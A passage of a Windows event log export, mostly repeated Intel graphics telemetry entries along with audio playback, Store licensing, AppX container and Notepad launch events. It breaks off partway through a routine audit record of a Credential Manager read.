process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:31.477\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:31.662\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:31.857\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:32.049\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:32.229\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:32.418\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:32.619\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:32.800\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:33.002\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:33.193\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:33.487\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:33.682\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:33.861\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:34.151\t1258\tWNP Transport Layer for Data Connection received asynchronous connection error 10060.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:51:34.152\t1213\tWNP Transport Layer proxy connection initiated for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:51:34.152\t1215\tWNP Transport Layer proxy negotiation initiated for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:51:34.164\t1216\tWNP Transport Layer proxy negotiation completed for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:51:34.165\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:34.459\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:34.649\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:34.843\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:35.027\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:35.215\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:35.413\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:35.593\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:35.883\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:36.078\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:36.271\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:36.464\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:36.647\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:36.840\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:37.038\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:37.336\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:37.537\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:37.742\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:37.947\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:38.167\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:38.456\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:38.653\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:38.855\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:39.148\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:39.335\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:39.513\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:39.805\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:39.995\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:40.190\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:40.373\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:40.573\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:40.756\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:40.942\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:41.140\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:41.321\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:41.500\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:41.697\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:41.914\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:41.983\t8001\t\"Skipping license manager: PFN Microsoft.ZuneMusic_11.2605.14.0_x64__8wekyb3d8bbwe\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:51:41.983\t8001\t\"Skipping license manager: PFN Microsoft.ZuneMusic_11.2605.14.0_x64__8wekyb3d8bbwe\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:51:42.212\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:42.392\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:42.504\t21\tSound level for application [Microsoft.ZuneMusic_8wekyb3d8bbwe!Microsoft.ZuneMusic] changed to [2]\tInformation\tMicrosoft-Windows-Audio/PlaybackManager\tMicrosoft-Windows-Audio\n05.09.2026 08:51:42.669\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:42.848\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:43.022\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:43.194\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:43.397\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:43.575\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:43.625\t8100\tStarting validation and setting the Trust Label on package Microsoft.AV1VideoExtension_2.0.7.0_x64__8wekyb3d8bbwe with flags 0x103.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 08:51:43.626\t8106\tPackage Microsoft.AV1VideoExtension_2.0.7.0_x64__8wekyb3d8bbwe has Trust Label already. Flags: 0x103\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 08:51:43.626\t8101\tFinished validation and setting the Trust Label on package Microsoft.AV1VideoExtension_2.0.7.0_x64__8wekyb3d8bbwe with flags 0x103.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 08:51:43.772\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:43.979\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:44.172\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:44.369\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:44.425\t21\tSound level for application [Microsoft.ZuneMusic_8wekyb3d8bbwe!Microsoft.ZuneMusic] changed to [2]\tInformation\tMicrosoft-Windows-Audio/PlaybackManager\tMicrosoft-Windows-Audio\n05.09.2026 08:51:44.426\t24\t\"Stream started.\nApp Id: Microsoft.ZuneMusic_8wekyb3d8bbwe!Microsoft.ZuneMusic\nPID: 7612\nAudio Stream Category: 11\"\tInformation\tMicrosoft-Windows-Audio/PlaybackManager\tMicrosoft-Windows-Audio\n05.09.2026 08:51:44.574\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:44.771\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:44.972\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:45.165\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:45.171\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"Microsoft.Media.Player\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:46.489\t25\t\"Stream stopped.\nApp Id: Microsoft.ZuneMusic_8wekyb3d8bbwe!Microsoft.ZuneMusic\nPID: 7612\nAudio Stream Category: 11\"\tInformation\tMicrosoft-Windows-Audio/PlaybackManager\tMicrosoft-Windows-Audio\n05.09.2026 08:51:47.116\t24\t\"Stream started.\nApp Id: Microsoft.ZuneMusic_8wekyb3d8bbwe!Microsoft.ZuneMusic\nPID: 7612\nAudio Stream Category: 11\"\tInformation\tMicrosoft-Windows-Audio/PlaybackManager\tMicrosoft-Windows-Audio\n05.09.2026 08:51:47.426\t25\t\"Stream stopped.\nApp Id: Microsoft.ZuneMusic_8wekyb3d8bbwe!Microsoft.ZuneMusic\nPID: 7612\nAudio Stream Category: 11\"\tInformation\tMicrosoft-Windows-Audio/PlaybackManager\tMicrosoft-Windows-Audio\n05.09.2026 08:51:47.445\t24\t\"Stream started.\nApp Id: Microsoft.ZuneMusic_8wekyb3d8bbwe!Microsoft.ZuneMusic\nPID: 7612\nAudio Stream Category: 11\"\tInformation\tMicrosoft-Windows-Audio/PlaybackManager\tMicrosoft-Windows-Audio\n05.09.2026 08:51:53.376\t25\t\"Stream stopped.\nApp Id: Microsoft.ZuneMusic_8wekyb3d8bbwe!Microsoft.ZuneMusic\nPID: 7612\nAudio Stream Category: 11\"\tInformation\tMicrosoft-Windows-Audio/PlaybackManager\tMicrosoft-Windows-Audio\n05.09.2026 08:51:58.706\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:58.709\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:59.347\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:59.353\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"explorer\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:52:00.396\t8000\t\"Process Name: C:\\WINDOWS\\Explorer.EXE\nModule Name: C:\\WINDOWS\\SYSTEM32\\licensemanagerapi.dll\nBuild: 26100.1.amd64fre.ge_release.240331-1435\n\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:52:00.397\t8001\t\"canDisableApps value is 0\nFunction: InitStoreAppsAreDisabled\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (195)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:52:00.420\t8001\t\"Skipping license manager: PFN Microsoft.WindowsNotepad_11.2605.34.0_x64__8wekyb3d8bbwe\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:52:00.421\t219\tPSMFlags for Desktop AppX process %1 with applicationID %2 is %3.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:52:00.455\t210\tCreated Desktop AppX container {245CDDAB-A8C9-11F1-B7FF-289200F24A99} for package Microsoft.WindowsNotepad_11.2605.34.0_x64__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:52:00.455\t211\tAdded process 9528 to Desktop AppX container 245cddab-a8c9-11f1-b7ff-289200f24a99 for package Microsoft.WindowsNotepad_11.2605.34.0_x64__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:52:00.459\t201\tCreated process 9528 for application Microsoft.WindowsNotepad_8wekyb3d8bbwe!App in package Microsoft.WindowsNotepad_11.2605.34.0_x64__8wekyb3d8bbwe. [LaunchProcess]\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:52:05.217\t217\tDestroyed Desktop AppX container {245CDDAB-A8C9-11F1-B7FF-289200F24A99} for package Microsoft.WindowsNotepad_11.2605.34.0_x64__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:52:12.951\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:52:12.957\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:52:36.067\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:52:47.021\t16\tCounter 6 of instance ({3976adcc-b8ec-4ff9-ae0c-6943a79f212a}, CIMWin32, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:52:54.548\t300\tCompositor Type: 1WINWORDP1: %3P2: %4P3: %5P4: %6\tInformation\tOAlerts\tMicrosoft Office 16 Alerts\n05.09.2026 08:52:54.839\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in 